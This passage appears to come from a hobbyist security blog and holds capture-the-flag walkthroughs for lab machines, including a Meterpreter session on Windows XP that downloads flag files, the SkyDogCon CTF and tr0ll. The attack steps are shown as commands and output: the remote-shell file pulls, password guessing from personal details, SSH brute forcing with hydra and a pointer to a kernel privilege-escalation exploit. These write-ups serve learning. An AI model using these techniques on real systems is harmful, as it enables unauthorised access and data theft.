16/03/2017 08:32 �� 48.335 iis6.log
16/03/2017 08:30 �� <DIR> ime
16/03/2017 08:32 �� 4.382 imsins.log
16/03/2017 08:18 �� <DIR> java
16/03/2017 08:19 �� <DIR> L2Schemas
16/03/2017 08:29 �� 1.487 MedCtrOC.log
16/03/2017 08:19 �� <DIR> Media
16/03/2017 08:19 �� <DIR> msagent
16/03/2017 08:18 �� <DIR> msapps
23/08/2001 03:00 �� 1.405 msdfmap.ini
16/03/2017 08:29 �� 871 msgsocm.log
16/03/2017 08:28 �� 10.066 msmqinst.log
16/03/2017 08:19 �� <DIR> mui
16/03/2017 08:29 �� 2.790 netfxocm.log
16/03/2017 08:19 �� <DIR> Network Diagnostic
14/04/2008 06:42 �� 69.120 NOTEPAD.EXE
16/03/2017 08:32 �� 7.948 ntdtcsetup.log
16/03/2017 08:29 �� 14.772 ocgen.log
16/03/2017 08:32 �� 885 ocmsn.log
16/03/2017 08:30 �� 4.161 ODBCINST.INI
16/03/2017 09:07 �� 1.178 OEWABLog.txt
16/03/2017 08:29 �� <DIR> Offline Web Pages
16/03/2017 08:29 �� <DIR> pchealth
16/03/2017 08:19 �� <DIR> PeerNet
23/08/2001 03:00 �� 65.954 Prairie Wind.bmp
16/03/2017 09:18 �� <DIR> Prefetch
16/03/2017 08:18 �� <DIR> Provisioning
14/04/2008 06:42 �� 146.432 regedit.exe
16/03/2017 08:30 �� <DIR> Registration
16/03/2017 08:32 �� 8.192 REGLOCS.OLD
16/03/2017 08:24 �� 1.690 regopt.log
16/03/2017 08:18 �� <DIR> repair
16/03/2017 08:18 �� <DIR> Resources
23/08/2001 03:00 �� 17.362 Rhododendron.bmp
23/08/2001 03:00 �� 26.680 River Sumida.bmp
23/08/2001 03:00 �� 65.832 Santa Fe Stucco.bmp
11/05/2017 01:31 �� 1.306 SchedLgU.Txt
16/03/2017 08:30 �� <DIR> security
16/03/2017 08:29 �� 1.022 sessmgr.setup.log
14/04/2008 08:40 �� 1.296.669 SET3.tmp
14/04/2008 08:34 �� 1.088.840 SET4.tmp
14/04/2008 08:34 �� 16.535 SET8.tmp
16/03/2017 08:32 �� 159.934 setupact.log
11/05/2017 01:31 �� 196.252 setupapi.log
16/03/2017 08:20 �� 0 setuperr.log
16/03/2017 08:33 �� 747.894 setuplog.txt
23/08/2001 03:00 �� 65.978 Soap Bubbles.bmp
16/03/2017 08:33 �� <DIR> SoftwareDistribution
16/03/2017 08:29 �� <DIR> srchasst
16/03/2017 08:22 �� 0 Sti_Trace.log
16/03/2017 08:20 �� <DIR> system
16/03/2017 08:20 �� 231 system.ini
23/07/2017 07:23 �� <DIR> system32
16/03/2017 08:32 �� 1.252 tabletoc.log
23/08/2001 03:00 �� 15.360 TASKMAN.EXE
11/05/2017 01:30 �� <DIR> Temp
16/03/2017 08:32 �� 10.801 tsoc.log
23/08/2001 03:00 �� 94.784 twain.dll
16/03/2017 08:18 �� <DIR> twain_32
14/04/2008 06:42 �� 50.688 twain_32.dll
23/08/2001 03:00 �� 49.680 twunk_16.exe
23/08/2001 03:00 �� 25.600 twunk_32.exe
16/03/2017 08:28 �� 36 vb.ini
16/03/2017 08:28 �� 37 vbaddin.ini
23/08/2001 03:00 �� 18.944 vmmreg32.dll
16/03/2017 08:29 �� <DIR> Web
16/03/2017 08:22 �� 501 wiadebug.log
16/03/2017 08:22 �� 49 wiaservc.log
16/03/2017 08:30 �� 477 win.ini
23/07/2017 07:24 �� 11.076 WindowsUpdate.log
23/08/2001 03:00 �� 256.192 winhelp.exe
14/04/2008 06:42 �� 283.648 winhlp32.exe
16/03/2017 08:20 �� <DIR> WinSxS
16/03/2017 09:07 �� 1.107 wmsetup.log
16/03/2017 08:30 �� 316.640 WMSysPr9.prx
23/08/2001 03:00 �� 9.522 Zapotec.bmp
23/08/2001 03:00 �� 707 _default.pif
68 File(s) 6.455.564 bytes
36 Dir(s) 6.488.403.968 bytes free
C:\WINDOWS>dir system
dir system
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\WINDOWS\system
16/03/2017 08:20 �� <DIR> .
16/03/2017 08:20 �� <DIR> ..
23/08/2001 03:00 �� 69.584 AVICAP.DLL
23/08/2001 03:00 �� 109.456 AVIFILE.DLL
23/08/2001 03:00 �� 32.816 COMMDLG.DLL
23/08/2001 03:00 �� 2.000 KEYBOARD.DRV
23/08/2001 03:00 �� 9.936 LZEXPAND.DLL
23/08/2001 03:00 �� 73.376 MCIAVI.DRV
23/08/2001 03:00 �� 25.264 MCISEQ.DRV
23/08/2001 03:00 �� 28.160 MCIWAVE.DRV
13/04/2008 11:24 �� 68.768 MMSYSTEM.DLL
23/08/2001 03:00 �� 1.152 MMTASK.TSK
23/08/2001 03:00 �� 2.032 MOUSE.DRV
23/08/2001 03:00 �� 126.912 MSVIDEO.DLL
23/08/2001 03:00 �� 82.944 OLECLI.DLL
23/08/2001 03:00 �� 24.064 OLESVR.DLL
23/08/2001 03:00 �� 59.167 setup.inf
23/08/2001 03:00 �� 5.120 SHELL.DLL
23/08/2001 03:00 �� 1.744 SOUND.DRV
23/08/2001 03:00 �� 5.532 stdole.tlb
23/08/2001 03:00 �� 3.360 SYSTEM.DRV
23/08/2001 03:00 �� 19.200 TAPI.DLL
23/08/2001 03:00 �� 4.048 TIMER.DRV
23/08/2001 03:00 �� 9.008 VER.DLL
23/08/2001 03:00 �� 2.176 VGA.DRV
23/08/2001 03:00 �� 13.600 WFWNET.DRV
14/04/2008 06:42 �� 146.432 WINSPOOL.DRV
25 File(s) 925.851 bytes
2 Dir(s) 6.488.403.968 bytes free
C:\WINDOWS>dir ehome
dir ehome
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\WINDOWS\ehome
16/03/2017 08:19 �� <DIR> .
16/03/2017 08:19 �� <DIR> ..
14/04/2008 06:41 �� 33.792 custsat.dll
1 File(s) 33.792 bytes
2 Dir(s) 6.488.403.968 bytes free
C:\WINDOWS>dir temp
dir temp
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\WINDOWS\temp
11/05/2017 01:30 �� <DIR> .
11/05/2017 01:30 �� <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 6.488.395.776 bytes free
C:\WINDOWS>cd ..
cd ..
C:\>cd "Documents and Settings"
cd "Documents and Settings"
C:\Documents and Settings>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\Documents and Settings
16/03/2017 09:07 �� <DIR> .
16/03/2017 09:07 �� <DIR> ..
16/03/2017 09:07 �� <DIR> Administrator
16/03/2017 08:29 �� <DIR> All Users
16/03/2017 08:33 �� <DIR> john
0 File(s) 0 bytes
5 Dir(s) 6.488.395.776 bytes free
C:\Documents and Settings>cd john
cd john
C:\Documents and Settings\john>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\Documents and Settings\john
16/03/2017 08:33 �� <DIR> .
16/03/2017 08:33 �� <DIR> ..
16/03/2017 09:19 �� <DIR> Desktop
16/03/2017 08:33 �� <DIR> Favorites
16/03/2017 08:33 �� <DIR> My Documents
16/03/2017 08:20 �� <DIR> Start Menu
0 File(s) 0 bytes
6 Dir(s) 6.488.395.776 bytes free
C:\Documents and Settings\john>cd Desktop
cd Desktop
C:\Documents and Settings\john\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\Documents and Settings\john\Desktop
16/03/2017 09:19 �� <DIR> .
16/03/2017 09:19 �� <DIR> ..
16/03/2017 09:19 �� 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 6.488.395.776 bytes free
C:\Documents and Settings\john\Desktop>edit user.txt
edit user.txt
^C
Terminate channel 1? [y/N] y
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > cd C:\Documents and Settings\john\Desktop
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > cd C:
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > lpwd
/home/kaipowered/Documents/HTB
meterpreter > cd C:\
meterpreter > pwd
C:\
meterpreter > cd "Documents and Settings"
meterpreter > pwd
C:\Documents and Settings
meterpreter > cd john
meterpreter > cd Desktop
meterpreter > download user.txt
[*] Downloading: user.txt -> user.txt
[*] Downloaded 32.00 B of 32.00 B (100.0%): user.txt -> user.txt
[*] download : user.txt -> user.txt
meterpreter > pwd
C:\Documents and Settings\john\Desktop
meterpreter > cd ..
meterpreter > cd ..
meterpreter > pwd
C:\Documents and Settings
meterpreter > dir
Listing: C:\Documents and Settings
==================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2017-03-16 14:07:21 +0800 Administrator
40777/rwxrwxrwx 0 dir 2017-03-16 13:29:48 +0800 All Users
40777/rwxrwxrwx 0 dir 2017-03-16 13:33:37 +0800 Default User
40777/rwxrwxrwx 0 dir 2017-03-16 13:32:52 +0800 LocalService
40777/rwxrwxrwx 0 dir 2017-03-16 13:32:43 +0800 NetworkService
40777/rwxrwxrwx 0 dir 2017-03-16 13:33:42 +0800 john
meterpreter > cd Administrator
meterpreter > dir
Listing: C:\Documents and Settings\Administrator
================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:29 +0800 Application Data
40777/rwxrwxrwx 0 dir 2017-03-16 13:32:27 +0800 Cookies
40777/rwxrwxrwx 0 dir 2017-03-16 14:18:27 +0800 Desktop
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:32 +0800 Favorites
40777/rwxrwxrwx 0 dir 2017-03-16 13:20:48 +0800 Local Settings
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:31 +0800 My Documents
100666/rw-rw-rw- 524288 fil 2017-05-11 06:31:16 +0800 NTUSER.DAT
100666/rw-rw-rw- 1024 fil 2017-07-24 00:18:53 +0800 NTUSER.DAT.LOG
40777/rwxrwxrwx 0 dir 2017-03-16 13:20:48 +0800 NetHood
40777/rwxrwxrwx 0 dir 2017-03-16 13:20:48 +0800 PrintHood
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:31 +0800 Recent
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:24 +0800 SendTo
40555/r-xr-xr-x 0 dir 2017-03-16 13:20:48 +0800 Start Menu
40777/rwxrwxrwx 0 dir 2017-03-16 13:28:41 +0800 Templates
100666/rw-rw-rw- 178 fil 2017-05-11 06:31:16 +0800 ntuser.ini
meterpreter > cd Desktop
meterpreter > dir
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 32 fil 2017-03-16 14:18:50 +0800 root.txt
meterpreter > download root.txt
[*] Downloading: root.txt -> root.txt
[*] Downloaded 32.00 B of 32.00 B (100.0%): root.txt -> root.txt
[*] download : root.txt -> root.txt
meterpreter >
Subscribe for more!
To stay up to date with my latest posts and more InfoSec guides, make sure to subscribe to this blog by entering your email address below.
I promise I won’t be spamming your mailbox. Because no one loves spam. AMIRIGHT?
The SkyDogConCTF is one of the most enjoyable CTF challenges that I have ever played because it contained a lot of twists and challenges that don’t need advanced exploitation techniques and the tools to solve these challenges were available in Kali Linux.
There were also hints on how to get the flags.
Flag#1 – “Don’t go Home Frank! There’s a Hex on Your House”
Flag#2 – “Obscurity or Security? That is the Question”
Flag#3 – “During his Travels Frank has Been Known to Intercept Traffic”
Flag#4 – “A Good Agent is Hard to Find”
Flag#5 – “The Devil is in the Details – Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices”
Flag#6 – “Where in the World is Frank?”
Flag#7 – “Frank Was Caught on Camera Cashing Checks and Yelling – I’m The Fastest Man Alive!”
Flag#8 – “Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!”
So after running the netdiscover command to get the IP address of the VM, I fired up Nmap to scan the available ports.
nmap -p- -sV -sC -oA nmapscan 192.168.56.102
Host is up (0.00048s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: SkyDog Con CTF 2016 - Catch Me If You Can
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=Network Solutions EV Server CA 2/organizationName=Network Solutions L.L.C./stateOrProvinceName=VA/countryName=US
| Not valid before: 2016-09-21T14:51:57
|_Not valid after: 2017-09-21T14:51:57
|_ssl-date: TLS randomness does not represent time
22222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:64:7c:d1:55:46:4e:50:e3:ba:cf:4c:1e:81:f9:db (RSA)
|_ 256 ef:17:df:cc:db:2e:c5:24:e3:9e:25:16:3d:25:68:35 (ECDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 29 13:41:53 2017 -- 1 IP address (1 host up) scanned in 124.99 seconds
There were three open ports:
port 80
port 443
port 22222
The first interesting port that I noticed was the port 22222, so I executed the ssh command.
kaipowered@debian:~/Documents/Vulnhub/skydogctf$ ssh 192.168.56.102 -p 22222
###############################################################
# WARNING #
# FBI - Authorized access only! #
# Disconnect IMMEDIATELY if you are not an authorized user!!! #
# All actions Will be monitored and recorded #
# Flag{53c82eba31f6d416f331de9162ebe997} #
###############################################################
kaipowered@192.168.56.102's password:
And there it was. The first flag was shown on the banner message. After getting the first flag, I cracked the given md5 hash here: http://md5online.org/
I had no idea on how can I use the word ‘encrypt’ to get the next flag, so the next thing I did was open the web browser and open the website hosted on the VM.
And it showed me the homepage of the SkyDogConCTF. I explored the entire website and I only found some interesting and funny testimonials of this CTF challenge.
So after viewing all the links on the website, I went back to the homepage and view the page source of the website.
And on line 40 of the source caught my attention. So I opened the source of the script on the web browser and it showed me this.
The first line of the JS file appeared that it was a hex, and the hint on the Flag #1 made sense quoting “Don’t go Home Frank! There’s a Hex on Your House”. So I went to this site http://www.rapidtables.com/convert/number/hex-to-ascii.htm and converted the hex value to ASCII and it showed me the first flag.
I guessed that the decoded hash was a hint or something but I already ran Nmap scan so the next thing I did was visit the https version of the website and view the information of the certificate.
The next hint was “personnel” and my instinct tells me that it is a directory of the web server. And I was right.
So I checked again the hint for the next flag, which is the Flag #4 and it says that
“A Good Agent is Hard to Find"
And I can only think of one thing related to the word “Agent” and it was the “User-Agent”. But I had no idea what User-Agent should I use to open the “personnel” directory so after reading the “ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging….” message, I opened again the html5.js file and searched for “FBI”. And there, I found two interesting lines in the JS file.
/* maindev - 6/7/02 Adding temporary support for IE4 FBI Workstations */
/* newmaindev - 5/22/16 Last maindev was and idoit and IE4 is still Gold image -@Support doug.perterson@fbi.gov */
I searched for the User-Agent of the IE4 and changed my User-Agent to access the “personnel” directory.
So I got the 4th flag and got the clue on how to get the next flag.
And it appeared that I needed to enter the username and password before I can view the content of the newevidence directory.
The first thing I did was to search “Agent Hanratty” on google to see any available information about Agent Hanratty that can be used as a username.
So I found that the first name of Agent Hanratty is Carl and the last name is Hanratty.
Going back to the html5.js file, I noticed that the format of the username was firstname.lastname.
doug.perterson@fbi.gov
So the username of Agent Hanratty is
carl.hanratty
I only needed the password to access the newevidence directory and based on the Flag #5 quote
The Devil is in the Details – Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices
So I searched for the person that was very close or family member of Agent Hanratty and after searching and trying all the possible passwords, I tried the name “Grace” as the password that I found on this phrase.
Workaholic Carl Hanratty loses his daughter Grace to a divorce.
And I got an access to the newevidence directory.
So I downloaded the “Evidence Summary File” and the content of the file was this.
It appeared that it was the Flag #5 and the decoded md5 hash was “panam”.
I tried opening “panam” on the web browser hoping that it was also a directory of the web server but there was no “panam” directory on the web server.
There were still two links on the page that I haven’t checked yet. So I clicked the “Possible Location” and there was an image file that can be downloaded, so I downloaded the image file.
I tried to steghide the image to see if there were any secret messages embedded in the image file.
kaipowered@debian:~/Documents/Vulnhub/skydogctf$ steghide --extract -sf image.jpg
Enter passphrase: panam # I tried the passphrase panam that i got from the decoded md5 hash of flag #5
the file "flag.txt" does already exist. overwrite ? (y/n) y
wrote extracted data to "flag.txt"
And I guess I was right and there was a text file named “flag”. I viewed the content of the text file and showed me this.
There was the flag #6, the decoded md5 hash, and a clue for the next flag. So going back to the hint for the next flag.
Flag#7 – “Frank Was Caught on Camera Cashing Checks and Yelling – I’m The Fastest Man Alive!”
The quote “I’m the Fastest Man Alive!” was sounded familiar so the next thing I did was google the quote and search who said that.
My name is Barry Allen, and I am the fastest man alive.
It seemed like Barry Allen from The Flash also said the “I’m the Fastest Man Alive!”.
The only last thing that was left to check was the ssh service on port 22222.
username: barryallen
password: iheartbrenda
With the found username and password, I used them and opened the ssh to login to the VM.
kaipowered@debian:~/Documents/Vulnhub/skydogctf$ ssh barryallen@192.168.56.102 -p 22222
###############################################################
# WARNING #
# FBI - Authorized access only! #
# Disconnect IMMEDIATELY if you are not an authorized user!!! #
# All actions Will be monitored and recorded #
# Flag{53c82eba31f6d416f331de9162ebe997} #
###############################################################
barryallen@192.168.56.102's password:
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-38-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
14 packages can be updated.
7 updates are security updates.
Last login: Tue Aug 29 07:19:16 2017 from 192.168.56.1
barryallen@skydogconctf2016:~$
Commands
barryallen@skydogconctf2016:~$ ls
flag.txt security-system.data
There were two files present in the user directory of barry allen.
flag.txt
security-system.data
The flag #7 and a zip file.
Here are the commands on how I got the Flag #8 and thanks to this walkthrough http://evilcsec.com/skydogcon-ctf-catch-me-if-you-can-walkthrough/ to get the final flag. I needed to see this walkthrough to get to know what tools to use to analyze the data file to get the final flag.
Hint for the final flag.
Flag#8 – “Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!”
Commands
barryallen@skydogconctf2016:~$ cat flag.txt
flag{bd2f6a1d5242c962a05619c56fa47ba6} #decoded md5 hash: theflash
barryallen@skydogconctf2016:~$
barryallen@skydogconctf2016:~$ file security-system.data
security-system.data: Zip archive data, at least v2.0 to extract
barryallen@skydogconctf2016:~$ unzip security-system.data
Archive: security-system.data
replace security-system.data? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: data
inflating: data
barryallen@skydogconctf2016:~$ ls
data flag.txt security-system.data
Copied the extracted file from barryallen to local machine
kaipowered@debian:~/Documents/Vulnhub/skydogctf$ scp -P 22222 barryallen@192.168.56.102:/home/barryallen/data ~/Documents/Vulnhub/skydogctf
###############################################################
# WARNING #
# FBI - Authorized access only! #
# Disconnect IMMEDIATELY if you are not an authorized user!!! #
# All actions Will be monitored and recorded #
# Flag{53c82eba31f6d416f331de9162ebe997} #
###############################################################
barryallen@192.168.56.102's password:
data 100% 1024MB 40.1MB/s 00:25
kaipowered@debian:~/Documents/Vulnhub/skydogctf$
kaipowered@debian:~/Documents/Vulnhub/skydogctf$ volatility imageinfo -f data
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/kaipowered/Documents/Vulnhub/skydogctf/tmp/data)
PAE type : PAE
DTB : 0x33e000L
KDBG : 0x80545b60L
Number of Processors : 1
Image Type (Service Pack) : 3
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2016-10-10 22:00:50 UTC+0000
Image local date and time : 2016-10-10 18:00:50 -0400
kaipowered@debian:~/Documents/Vulnhub/skydogctf$ volatility --profile=WinXPSP2x86 -f data filescan > datafile
Volatility Foundation Volatility Framework 2.6
kaipowered@debian:~/Documents/Vulnhub/skydogctf$ cat datafile | grep flag
kaipowered@debian:~/Documents/Vulnhub/skydogctf$ cat datafile | grep txt
0x0000000005e612f8 1 0 -W-r-- \Device\HarddiskVolume1\Documents and Settings\test\Desktop\code.txt
0x000000000629fc08 1 0 R--rw- \Device\HarddiskVolume1\Program Files\VMware\VMware Tools\vmacthlp.txt
0x00000000062c4620 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filters\adobephotoshopcs3.txt
0x00000000062c4be8 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filters\adobeflashcs3.txt
0x00000000062e04b0 1 0 R--r-d \Device\HarddiskVolume1\Documents and Settings\test\Recent\code.txt.lnk
0x00000000063b4428 1 0 R--r-- \Device\HarddiskVolume1\System Volume Information\_restore{FA371F61-4781-4A7F-99F2-B979D68F9988}\drivetable.txt
0x0000000006503e60 4 2 -W-rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware VGAuth\logfile.txt.0
0x000000000663d4c0 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filters\win7gadgets.txt
0x000000000663d6b8 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filters\vmwarefilters.txt
0x000000000663d8b0 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filters\visualstudio2005.txt
0x000000000663daa8 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filters\vistasidebar.txt
0x000000000663dca0 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filters\microsoftoffice.txt
0x000000000663de98 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filters\googledesktop.txt
0x000000000663f970 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\manifest.txt
0x0000000006640bc8 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\test\Desktop\code.txt
kaipowered@debian:~/Documents/Vulnhub/skydogctf$ volatility --profile=WinXPSP2x86 -f data cmdscan
Volatility Foundation Volatility Framework 2.6
**************************************************
CommandProcess: csrss.exe Pid: 560
CommandHistory: 0x10186f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x2d4
Cmd #0 @ 0x1024400: cd Desktop
Cmd #1 @ 0x4f2660: echo 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d > code.txt
kaipowered@debian:~/Documents/Vulnhub/skydogctf$
After I got the last flag and the decoded md5 hash, I googled the “Two little mice” and found the quote by Frank Abagnale Sr.
Frank Abagnale Sr.: Two little mice fell in a bucket of cream. The first mouse quickly gave up and drowned. The second mouse, wouldn’t quit. He struggled so hard that eventually he churned that cream into butter and crawled out. Gentlemen, as of this moment, I am that second mouse.
The quote of Frank made me goosebumps and I was really satisfied after I finished this CTF challenge. It was quite challenging and I really had fun!
Subscribe for more!
To stay up to date with my latest posts and more InfoSec guides, make sure to subscribe to this blog by entering your email address below.
I promise I won’t be spamming your mailbox. Because no one loves spam. AMIRIGHT?
# Nmap 7.40 scan initiated Thu Aug 3 20:58:47 2017 as: nmap -sC -sV -oA nmap 192.168.8.102
Nmap scan report for 192.168.8.102
Host is up (0.0035s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap [NSE: writeable]
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
| 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|_ 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 3 20:59:07 2017 -- 1 IP address (1 host up) scanned in 19.95 seconds
So there are 3 open ports in tr0ll vm
port 21
port 22
port 80
Since the port 80 is open, I have an idea now that the vulnerable machine has a web server running. So I opened my web browser and visit the IP address of the machine.
So this is the first thing that I saw.
I tried to see if it has a robots.txt in the root of the web server and it showed me this.
There is a directory in the web server named secret. So I opened the /secret directory and it showed me this.
And yes, it made me mad after seeing this.
Continuing my enumeration, I saw that the FTP server allows anonymous login, so I fired up my Filezilla and browse the FTP server. There is a file there named lol.pcap. Pcap is a file that contains the captured network traffics from network analyzers such as Wireshark and some other tools. So to open the pcap file, I launched Wireshark and read the pcap file. It showed me this.
I noticed the “sup3rs3cr3tdirlol” and tried to open it and voila.
I downloaded the file named roflmao then run the file command to determine the filetype of the downloaded file. It shows that it is an ELF 32-bit LSB executable.
kaipowered@debian:~/Documents/Vulnhub/tr0ll$ file roflmao
roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped
So the next thing I did was to run the gdb then run the executable file.
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from roflmao...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/kaipowered/Documents/Vulnhub/tr0ll/roflmao
Find address 0x0856BF to proceed[Inferior 1 (process 10058) exited with code 040]
(gdb)
The output showed me this
Find address 0x0856BF to proceed[Inferior 1 (process 10058) exited with code 040]
I tried to find the said address but I wasn’t able to find it in the memory, so I tried opening it on the web browser and it appears that it is a directory on the web server (luck I guess).
I downloaded the files from the directories and it appears that the contents of the files were usernames and passwords.
There was only one service that I haven’t checked, and that was the ssh.
The next thing I did was to brute force the ssh service with the given usernames and passwords.
But it appears that the real password is the “Pass.txt”, so I just changed the option from -P to -p, meaning, with the given password, try the usernames from which_one_lol.txt to match the correct combinations with hydra.
After bruteforcing, I was able to get the username and password of the machine.
username: overflow
password: Pass.txt
Commands Used
kaipowered@debian:~/Documents/Vulnhub/tr0ll$ ssh overflow@192.168.8.102
overflow@192.168.8.102's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)
* Documentation: https://help.ubuntu.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun Aug 6 23:35:25 2017 from 192.168.8.2
Could not chdir to home directory /home/overflow: No such file or directory
$
The shell timeouts after a few minutes so the first thing that I did was to check the version of the kernel and it appears that the version of the kernel is GNU/Linux 3.13.0-32-generic i686
Next thing I did was to search the exploit-db for the available privilege escalation exploits of the kernel version.
This is the exploit that I used to gain root on the vulnerable machine:
https://www.exploit-db.com/exploits/37292/
And after successfully exploited the tr0ll vm, I was able to get and read the Proof.txt that can be found in /root directory.
— FIN —
Solving this challenge was quite frustrating at first because, you know, the tr0ll is trolling you, but most of the time, when I found something interesting and it just appeared that I have been tr0lled, I just found myself grinning while clenching my fists, but of course I enjoyed solving this challenge.
Subscribe for more!
To stay up to date with my latest posts and more InfoSec guides, make sure to subscribe to this blog by entering your email address below.
I promise I won’t be spamming your mailbox. Because no one loves spam. AMIRIGHT?
Penetration Testing or Pentesting is a process where the testers will assess and discover the vulnerabilities that are present in a network or system and will exploit these vulnerabilities to gain access. Pentesting is also the process of simulating real world scenario where the testers will act and think like an attacker to assess and discover weaknesses and exploit those weaknesses of the target system.
There are a lot of topics in penetration testing but I will only discuss the phases and techniques that I usually use when I am attacking a vulnerable system.
In general, the phases of penetration testing are
Reconnaissance
Scanning
Gaining Access
Maintaining Access
Covering Tracks
Before attacking our target system, we always need to plan our moves to get a higher chance of gaining access to the system.
